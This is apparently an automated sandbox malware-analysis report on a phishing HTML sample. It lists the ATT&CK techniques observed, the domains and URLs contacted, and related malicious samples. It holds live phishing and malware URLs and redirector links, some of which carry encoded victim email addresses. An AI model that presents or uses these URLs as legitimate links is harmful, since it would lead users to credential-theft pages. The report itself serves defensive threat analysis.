Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
BAD.html	100%	Avira	HTML/Psyme.Gen

Source	Detection	Scanner	Label
https://gbrqqq.v-bnhatn.ru/bhanchod@jczwpfnk	100%	Avira URL Cloud	phishing
https://xq.intranchmar.ru/aN3ZJ/	0%	Avira URL Cloud	safe
https://ohhellopreston.com/.res444.php?2-68747470733a2f2f78512e696e7472616e63686d61722e72752f614e335a4a2f-WlpvsU	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ohhellopreston.com	103.83.194.5	true	false	high
xq.intranchmar.ru	104.21.25.83	true	true	unknown
code.jquery.com	151.101.66.137	true	false	high
developers.cloudflare.com	104.16.5.189	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
www.google.com	142.250.181.228	true	false	high
gbrqqq.v-bnhatn.ru	104.21.11.253	true	false	high
206.23.85.13.in-addr.arpa	unknown	unknown	false	high
200.163.202.172.in-addr.arpa	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://xq.intranchmar.ru/aN3ZJ/#K#Thwiley@dmgmasonry.com	true		unknown
https://gbrqqq.v-bnhatn.ru/bhanchod@jczwpfnk	false	Avira URL Cloud: phishing	unknown
https://xq.intranchmar.ru/aN3ZJ/	true	Avira URL Cloud: safe	unknown
https://xq.intranchmar.ru/aN3ZJ/#workouts	false		unknown
https://ohhellopreston.com/.res444.php?2-68747470733a2f2f78512e696e7472616e63686d61722e72752f614e335a4a2f-WlpvsU	false	Avira URL Cloud: malware	unknown
https://xq.intranchmar.ru/aN3ZJ/#membership	false		unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://challenges.cloudflare.com/turnstile/v0/g/0e3e6804b971/api.js	false		high
https://developers.cloudflare.com/favicon.png	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
103.83.194.5	ohhellopreston.com	United States	132335	NETWORK-LEAPSWITCH-INLeapSwitchNetworksPvtLtdIN	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
172.67.150.227	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.185.68	unknown	United States	15169	GOOGLEUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.16.5.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.25.83	xq.intranchmar.ru	United States	13335	CLOUDFLARENETUS	true
151.101.130.137	unknown	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.181.228	www.google.com	United States	15169	GOOGLEUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
104.21.11.253	gbrqqq.v-bnhatn.ru	United States	13335	CLOUDFLARENETUS	false
104.16.2.189	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17
192.168.2.16

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1619381
Start date and time:	2025-02-19 20:42:48 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	BAD.html
Detection:	MAL
Classification:	mal72.phis.evad.winHTML@15/33@34/15
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.35, 142.250.186.46, 74.125.133.84, 142.250.186.142, 142.250.185.174, 88.221.110.170, 172.217.16.206, 142.250.181.234, 142.250.186.131, 142.250.184.238, 142.250.186.110, 142.250.186.174, 172.217.18.3, 142.250.185.78, 2.18.97.153, 13.107.246.45, 20.109.210.53, 13.85.23.206, 172.202.163.200, 4.245.163.56
Excluded domains from analysis (whitelisted): clients1.google.com, fonts.googleapis.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
103.83.194.5	https://xjh7bk49.r.ap-southeast-2.awstrack.me/L0/https:%2F%2Fwww.google.co.in%2Furl%3Fsa==vjKpBaQLpQHvS1PmbhjfQh2MZOm%26rct=3iDDeRIUXr7S6LM6zidxN66zaYNJJZ5uNkn5rHJaI4t4qPP8DWVO1CvZVrepUv4LpX%26sa=t%26url=amp%2Fsouthdakotacannabisdoctors.com%2Fyes%2Fport%2FIsjR3uyjLQFu2NNvooFw2%2Fd2Zsb3JlbnRpbm9AZXNwZXJpb24uY29t/1/0108019498dc9698-c28d53cc-593c-4ccb-a609-76d243112b3f-000000/ABQm9rBJLVsJGlg3PuVXRXBptDI=191&c=E,1,evnTsmcgcysrNqkRD0O-1WQRUeSPuEJ91kARRfaRPYomDXM7_8LzuEjTBUwIOx_M1zJRuiZTdEHJwjdmV3XUzNtBsS-BHGDdMGwRIQxU57Nc5yk	Get hash	malicious	HTMLPhisher	Browse	southdakotacannabisdoctors.com/favicon.ico
	https://google.com.vn/url?q=IEQBZO82U018ETYNCV6WTYH64K0BD9FgQiApLjODz3yh4nNeW8uuQi&rct=30ba685b120fd532f5c02d94fce85696wDnNeW8yycT&sa=t&esrc=nTgV8F30ba685b120fd532f5c02d94fce85696A0xys8Em2FL&source=&cd=tS6T830ba685b120fd532f5c02d94fce85696Tiw9XH&cad=JxWzDfBP30ba685b120fd532f5c02d94fce85696VS0Y&ved=xjnktlqryYWwVTDrgvK&uact=&url=amp%2fdrawnbydrew.com/helosuns/30ba685b120fd532f5c02d94fce85696/dGhha2VuZXdlcnRoQG12dHJhbnNpdC5jb20=	Get hash	malicious	HTMLPhisher	Browse	drawnbydrew.com/favicon.ico
	https://www.google.co.uk/url?q=38pQvvq6xRyj7Y00xDjnlx9kIHOSozurMOiaAkImPuQJnOIWtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRyj7Y00xDjnlx9kIjusucT&sa=t&url=amp%2Ffairwaygilbert.com%2Fnew%2FdtMyxOyre1WJ8xvj5DnN7kDa/Y2hyaXMuaGF3a2luc0BwZXJyeWhvbWVzLmNvbQ==	Get hash	malicious	Tycoon2FA	Browse	fairwaygilbert.com/favicon.ico
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Bro%C2%ADund%C2%ADth%C2%ADes%C2%ADo%C2%ADun%C2%ADd.%E2%80%8Bne%C2%ADt%2Ffdht%2Fnew%2FkIxgmfjJBl7ESvapw2Nj3wIo/YW5kcmV3Lm5nQHN1bnZlbnR1cmUuY29t	Get hash	malicious	Unknown	Browse	roundthesound.net/favicon.ico
	https://www.google.com/url?q=https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wD5CHARyycT&sa=t&esrc=2Dv8p65dFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fcells2go.co%2Fone%2F.me%2FCy0cxTT1O745SqR1gfrta/ZGFycmVuLmhvbG1lc0BwZXJyeWhvbWVzLmNvb	Get hash	malicious	HTMLPhisher	Browse	cells2go.co/favicon.ico
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Ffilmycurry.in%2Fskoda%2FhV8TfP7Y5ayrff8B7Nw6fATk/YWcucmVwbGllc0BhZy5zdGF0ZS5tbi51cw==	Get hash	malicious	HTMLPhisher	Browse	filmycurry.in/favicon.ico
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fsmmpanel.com.br%2Ffghd%2Fgfjfjfg%2FiPI0CfdWB2bcqygtvoHIMLiX/d2VzbGV5LmFsZXhhbmRlckByaXNlcG9pbnQuY29t	Get hash	malicious	Unknown	Browse	smmpanel.com.br/favicon.ico
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Bro%C2%ADund%C2%ADth%C2%ADes%C2%ADo%C2%ADun%C2%ADd.%E2%80%8Bne%C2%ADt%2Ffdht%2Fnew%2F7cqxIbF4tswA41n12hOY542d/Y2FuZGlkYS5nb3JhZGlhQGp1bWVpcmFoLmNvbQ==	Get hash	malicious	Unknown	Browse	roundthesound.net/favicon.ico
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Faggarwaltradersindia.in%2Fskoda%2FX3HOVMfsCLBJWP5GhJNdLWwq/bmlyYXYuZGVzYWlAbHJxYS5jb20=	Get hash	malicious	HTMLPhisher	Browse	aggarwaltradersindia.in/favicon.ico
	https://www.google.com/url?q=3HOSozuuQiApLjODz3yh&rct=tTPSJ3J3wDFX0jkXyycT&sa=t&esrc=WSECxFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ9mfdQ6lDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%E2%80%8Bro%C2%ADund%C2%ADth%C2%ADes%C2%ADo%C2%ADun%C2%ADd.%E2%80%8Bne%C2%ADt%2Ffdht%2Fnew%2FqHbGk7oyANkRwIrkDp4OWdx2/am9obi5oaW5ndGdlbkBlbmVyZ3kuY2EuZ292	Get hash	malicious	Unknown	Browse	roundthesound.net/favicon.ico
104.17.24.14	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
172.67.150.227	Ymcaret W-2,Tax_Return.pdf	Get hash	malicious	Unknown	Browse
	https://atlanticwaste.sharefile.com/public/share/web-scc72ae51fb864535b26f2da47d39a751	Get hash	malicious	Unknown	Browse
	Message 3.eml	Get hash	malicious	Unknown	Browse
	Monday+February+17+2025.pdf	Get hash	malicious	Unknown	Browse
104.18.95.41	EFT Remittance_(Rtotino)CQDM.html	Get hash	malicious	Unknown	Browse
	https://www.google.com/url?q=https%3A%2F%2Fyir.myvnc.com%2Fosh%2F&sa=D&sntz=1&usg=AOvVaw0upYvHpDviVW9Wdi9s8ilT#SILENTCODERSLIMAHURUFE-SUREOSHAYmdvZWRlY2tlQHN3ZWVwaW5nY29ycC5jb20=	Get hash	malicious	Unknown	Browse
	https://www.envoice.in/invoice/attachment?token=KVuGLoehNae1TTmcoP5fURVZa2Clb4uoU54ZN62dm5bt4GI5SbJSW4i0gvqX8OqC8du8FWxO1FyKUMdXWD85tucV981ZqOB32A7Io9cUN81nVPlXDT5TwIo4bnOJevlP&obfuscatedFileName=1739953701-K0XOHIfac9FrSomhOQ0b	Get hash	malicious	HTMLPhisher	Browse
	http://loginmicrosoftonlinesettings.utzsnacks.ventarronllanero.com/reset/authorize?email=priceandpromosupport@utzsnacks.com	Get hash	malicious	HTMLPhisher	Browse
	https://malvinasrock.com/%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%202/	Get hash	malicious	HTMLPhisher	Browse
	https://microsoftsmailfXHvPDaOlj.iparyamp.ru/EPPc9bab/#aW5mb0BjaXR5ZGV2LmJydXNzZWxz	Get hash	malicious	Unknown	Browse
	https://rnicrosoft-secured-office.squarespace.com/sharepointcoc?e=bob_smith@gmail.com	Get hash	malicious	HTMLPhisher	Browse
	AUDlO-Rec_(Connie.dixon).htm	Get hash	malicious	Unknown	Browse
	https://crypto-support.pages.dev/	Get hash	malicious	HTMLPhisher	Browse
	https://vincents-superb-site-f068ac.webflow.io/	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ohhellopreston.com	Message 3.eml	Get hash	malicious	Unknown	Browse	103.83.194.5
developers.cloudflare.com	EFT Remittance_(Rtotino)CQDM.html	Get hash	malicious	Unknown	Browse	104.16.2.189
	https://www.google.com/url?q=https%3A%2F%2Fyir.myvnc.com%2Fosh%2F&sa=D&sntz=1&usg=AOvVaw0upYvHpDviVW9Wdi9s8ilT#SILENTCODERSLIMAHURUFE-SUREOSHAYmdvZWRlY2tlQHN3ZWVwaW5nY29ycC5jb20=	Get hash	malicious	Unknown	Browse	104.16.5.189
	https://microsoftsmailfXHvPDaOlj.iparyamp.ru/EPPc9bab/#aW5mb0BjaXR5ZGV2LmJydXNzZWxz	Get hash	malicious	Unknown	Browse	104.16.2.189
	http://webdefence.global.blackspider.com/urlwrap/?q=AXicLc3JTcUwFEbh-xpKPOeChEDsEIge7N_2S5TBKHYY1rRBb7TCuP6OdE4nel-JPl6I9uVNirGr-3O3-mlB2dpelg5lJSvvHh5vX--lscyGAN_STU049qO2hHErSzlPqf7GY2tP9bLvZz93tRxbTLUt0zb_YI_Uo3dDMNFCWoUklBIIKrBy8g-CuxCQzAqcoDPLwP_AeoDnaJ0LUnlpcr6u03nz7djTleEIaJHgvIjaRmuizM4OTopgRVQWzGIYPAIy5--zh9YBwrM1SRhFRJ8g-gI_SFND&Z	Get hash	malicious	Unknown	Browse	104.16.2.189
	Ymcaret W-2,Tax_Return.pdf	Get hash	malicious	Unknown	Browse	104.16.2.189
	https://tapbiolink.com/sdcranebuildersincdocument	Get hash	malicious	Unknown	Browse	104.16.5.189
	https://atlanticwaste.sharefile.com/public/share/web-scc72ae51fb864535b26f2da47d39a751	Get hash	malicious	Unknown	Browse	104.16.4.189
	https://lsx.xiridon.ru/6tLSEWM/	Get hash	malicious	HTMLPhisher	Browse	104.16.5.189
	Invisalert Solutions Revised Billing Proposal for 2025.pdf	Get hash	malicious	Unknown	Browse	104.16.2.189
	https://nw.eneturkylana.ru/AsACE/	Get hash	malicious	HTMLPhisher	Browse	104.16.5.189
cdnjs.cloudflare.com	EFT Remittance_(Rtotino)CQDM.html	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://www.antham.com/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.google.com/url?q=https%3A%2F%2Fyir.myvnc.com%2Fosh%2F&sa=D&sntz=1&usg=AOvVaw0upYvHpDviVW9Wdi9s8ilT#SILENTCODERSLIMAHURUFE-SUREOSHAYmdvZWRlY2tlQHN3ZWVwaW5nY29ycC5jb20=	Get hash	malicious	Unknown	Browse	104.17.24.14
	URGENT_SUBSCRIPTION_STATUS.html	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	http://era.ca	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://microsoftsmailfXHvPDaOlj.iparyamp.ru/EPPc9bab/#aW5mb0BjaXR5ZGV2LmJydXNzZWxz	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://ashmithraj069.github.io/Amazon-Clone/	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	https://case-id-100987776649.mfbsp1324.click/	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://case-id-100987772755.mfbsp1324.click/	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://case-id-1000292829268661.mashstaffing.com/	Get hash	malicious	Unknown	Browse	104.17.24.14
code.jquery.com	EFT Remittance_(Rtotino)CQDM.html	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://www.google.com/url?q=https%3A%2F%2Fyir.myvnc.com%2Fosh%2F&sa=D&sntz=1&usg=AOvVaw0upYvHpDviVW9Wdi9s8ilT#SILENTCODERSLIMAHURUFE-SUREOSHAYmdvZWRlY2tlQHN3ZWVwaW5nY29ycC5jb20=	Get hash	malicious	Unknown	Browse	151.101.194.137
	https://www.envoice.in/invoice/attachment?token=KVuGLoehNae1TTmcoP5fURVZa2Clb4uoU54ZN62dm5bt4GI5SbJSW4i0gvqX8OqC8du8FWxO1FyKUMdXWD85tucV981ZqOB32A7Io9cUN81nVPlXDT5TwIo4bnOJevlP&obfuscatedFileName=1739953701-K0XOHIfac9FrSomhOQ0b	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	URGENT_SUBSCRIPTION_STATUS.html	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://docs.google.com/presentation/d/e/2PACX-1vR9fDeGf5MUCkInjRJmTQP_A7A1KiesFeAK7tBzfJ0WswmG-_qOqxWXat0f6mojkSTW_rQDaj-I4ALz/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	151.101.194.137
	Donaldson-required specs-documents.pdf(1).html	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://atstrack.com/customer-support/software.html	Get hash	malicious	Unknown	Browse	151.101.130.137
	https://appurl.io/F_tBwtMcbk	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://malvinasrock.com/%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%202/	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://app.powerbi.com/view?r=eyJrIjoiZmVlZTQ2MzYtNjAyNC00NmIzLTljNjYtYmI2NDA2NjgzYTBkIiwidCI6IjcxOGNiYTc5LTYzNTAtNDMyZS04YjYwLTk2MDFiM2VhNDNiYSJ9	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	EFT Remittance_(Rtotino)CQDM.html	Get hash	malicious	Unknown	Browse	104.16.2.189
	Bibliofils.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.32.1
	Researches.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.32.1
	http://www.antham.com/	Get hash	malicious	Unknown	Browse	104.22.8.215
	https://www.google.com/url?q=https%3A%2F%2Fyir.myvnc.com%2Fosh%2F&sa=D&sntz=1&usg=AOvVaw0upYvHpDviVW9Wdi9s8ilT#SILENTCODERSLIMAHURUFE-SUREOSHAYmdvZWRlY2tlQHN3ZWVwaW5nY29ycC5jb20=	Get hash	malicious	Unknown	Browse	104.16.2.189
	Details2200902015.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.64.1
	http://content.vibly.it	Get hash	malicious	Unknown	Browse	104.16.79.73
	one.elf	Get hash	malicious	Unknown	Browse	1.1.1.1
	PO#6536983.cmd	Get hash	malicious	DBatLoader, MSIL Logger, MassLogger RAT, PureLog Stealer	Browse	104.21.112.1
	https://www.envoice.in/invoice/attachment?token=KVuGLoehNae1TTmcoP5fURVZa2Clb4uoU54ZN62dm5bt4GI5SbJSW4i0gvqX8OqC8du8FWxO1FyKUMdXWD85tucV981ZqOB32A7Io9cUN81nVPlXDT5TwIo4bnOJevlP&obfuscatedFileName=1739953701-K0XOHIfac9FrSomhOQ0b	Get hash	malicious	HTMLPhisher	Browse	104.21.80.1
CLOUDFLARENETUS	EFT Remittance_(Rtotino)CQDM.html	Get hash	malicious	Unknown	Browse	104.16.2.189
	Bibliofils.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.32.1
	Researches.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.32.1
	http://www.antham.com/	Get hash	malicious	Unknown	Browse	104.22.8.215
	https://www.google.com/url?q=https%3A%2F%2Fyir.myvnc.com%2Fosh%2F&sa=D&sntz=1&usg=AOvVaw0upYvHpDviVW9Wdi9s8ilT#SILENTCODERSLIMAHURUFE-SUREOSHAYmdvZWRlY2tlQHN3ZWVwaW5nY29ycC5jb20=	Get hash	malicious	Unknown	Browse	104.16.2.189
	Details2200902015.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.64.1
	http://content.vibly.it	Get hash	malicious	Unknown	Browse	104.16.79.73
	one.elf	Get hash	malicious	Unknown	Browse	1.1.1.1
	PO#6536983.cmd	Get hash	malicious	DBatLoader, MSIL Logger, MassLogger RAT, PureLog Stealer	Browse	104.21.112.1
	https://www.envoice.in/invoice/attachment?token=KVuGLoehNae1TTmcoP5fURVZa2Clb4uoU54ZN62dm5bt4GI5SbJSW4i0gvqX8OqC8du8FWxO1FyKUMdXWD85tucV981ZqOB32A7Io9cUN81nVPlXDT5TwIo4bnOJevlP&obfuscatedFileName=1739953701-K0XOHIfac9FrSomhOQ0b	Get hash	malicious	HTMLPhisher	Browse	104.21.80.1
CLOUDFLARENETUS	EFT Remittance_(Rtotino)CQDM.html	Get hash	malicious	Unknown	Browse	104.16.2.189
	Bibliofils.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.32.1
	Researches.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.32.1
	http://www.antham.com/	Get hash	malicious	Unknown	Browse	104.22.8.215
	https://www.google.com/url?q=https%3A%2F%2Fyir.myvnc.com%2Fosh%2F&sa=D&sntz=1&usg=AOvVaw0upYvHpDviVW9Wdi9s8ilT#SILENTCODERSLIMAHURUFE-SUREOSHAYmdvZWRlY2tlQHN3ZWVwaW5nY29ycC5jb20=	Get hash	malicious	Unknown	Browse	104.16.2.189
	Details2200902015.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.64.1
	http://content.vibly.it	Get hash	malicious	Unknown	Browse	104.16.79.73
	one.elf	Get hash	malicious	Unknown	Browse	1.1.1.1
	PO#6536983.cmd	Get hash	malicious	DBatLoader, MSIL Logger, MassLogger RAT, PureLog Stealer	Browse	104.21.112.1
	https://www.envoice.in/invoice/attachment?token=KVuGLoehNae1TTmcoP5fURVZa2Clb4uoU54ZN62dm5bt4GI5SbJSW4i0gvqX8OqC8du8FWxO1FyKUMdXWD85tucV981ZqOB32A7Io9cUN81nVPlXDT5TwIo4bnOJevlP&obfuscatedFileName=1739953701-K0XOHIfac9FrSomhOQ0b	Get hash	malicious	HTMLPhisher	Browse	104.21.80.1
NETWORK-LEAPSWITCH-INLeapSwitchNetworksPvtLtdIN	EFT Remittance_(Rtotino)CQDM.html	Get hash	malicious	Unknown	Browse	103.83.194.5
	Message 3.eml	Get hash	malicious	Unknown	Browse	103.83.194.5
	evidence.pdf	Get hash	malicious	Unknown	Browse	103.83.194.5
	Play_VM-Now(beverly.wilson)VWAV.html.._	Get hash	malicious	Unknown	Browse	103.83.194.5
	Action Required Review__Sign 2025 Q1 ELECTRONIC FUNDING REF_ID 8258068911.msg	Get hash	malicious	Unknown	Browse	103.83.194.5
	Payment7667_ATTN.html	Get hash	malicious	Unknown	Browse	103.83.194.5
	anon 200679.html	Get hash	malicious	Unknown	Browse	103.83.194.5
	https://rs6.net/tn.jsp?f=001OaeaJROLPlYeRGCnbZAYWPf4SGdmoTtqWZEHmebziyNVRAy4x8-AJ_GbdUrg7rjgF4JhDw0oI7PpLyvr6earWBnhba4M_cHOdVj5dPgnOVwkBMFfc9uBFZ8YQpubq9fYFQScdQM1aAcwC_T1AVVo6A==&c=&ch=&__=/asdf/bGluZGEuaGFja2xlckBzbGVlcGVyc2V3ZWxsLmNvbQ==	Get hash	malicious	Unknown	Browse	103.83.194.5
	https://rs6.net/tn.jsp?f=001_rnLab8dvmoe34LZhirF-nFYodS4Z30LlV-jZpBF6Ho_b-ejS9GpW0fVXQA2_Y9ukEPQiegaR-4_xvdWVJcLmYrH2b_FrbHtdS9Td2_c3Y6PfD20xR6UoDYnpv3FNLpP_fnuFc_dNZk381XYX2zrNw==&c=&ch=&__=/asdf/YW5uYS5yaWNrc0Bkb25uZWxsY29tcGFueS5jb20=/YnJ5YW4ucGFybmVsbEBteW1hbmF0ZWUub3Jn	Get hash	malicious	Unknown	Browse	103.83.194.55
	7130192d-35f9-901b-2e4b-24c27e79bf36.eml	Get hash	malicious	Unknown	Browse	103.83.194.5

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Feb 19 18:43:20 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9812706319927806
Encrypted:	false
SSDEEP:	48:8J4dqTWCmHdidAKZdA1FehwiZUklqehqy+3:8/XEpy
MD5:	45A6851117E069BA9BC37FF6AB20C04F
SHA1:	2F73170F89D20B66A6FD7EA636CC099DD5B7B4C6
SHA-256:	E875904C5EC0002ADF5F02354FD91429CFD599B472F3D539112C3B927594AC09
SHA-512:	0138263B722A67A3722EB607FD9B7ED3DE1BEA28813CDA6232CAC83F1AAA315C67C756EC19833EC263B3F87333FBD5033AEB8EFF4BC163D7955A7A8CD0844B7F
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....f.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.ISZb.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VSZi.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VSZi.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VSZi............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VSZk............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............S.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. 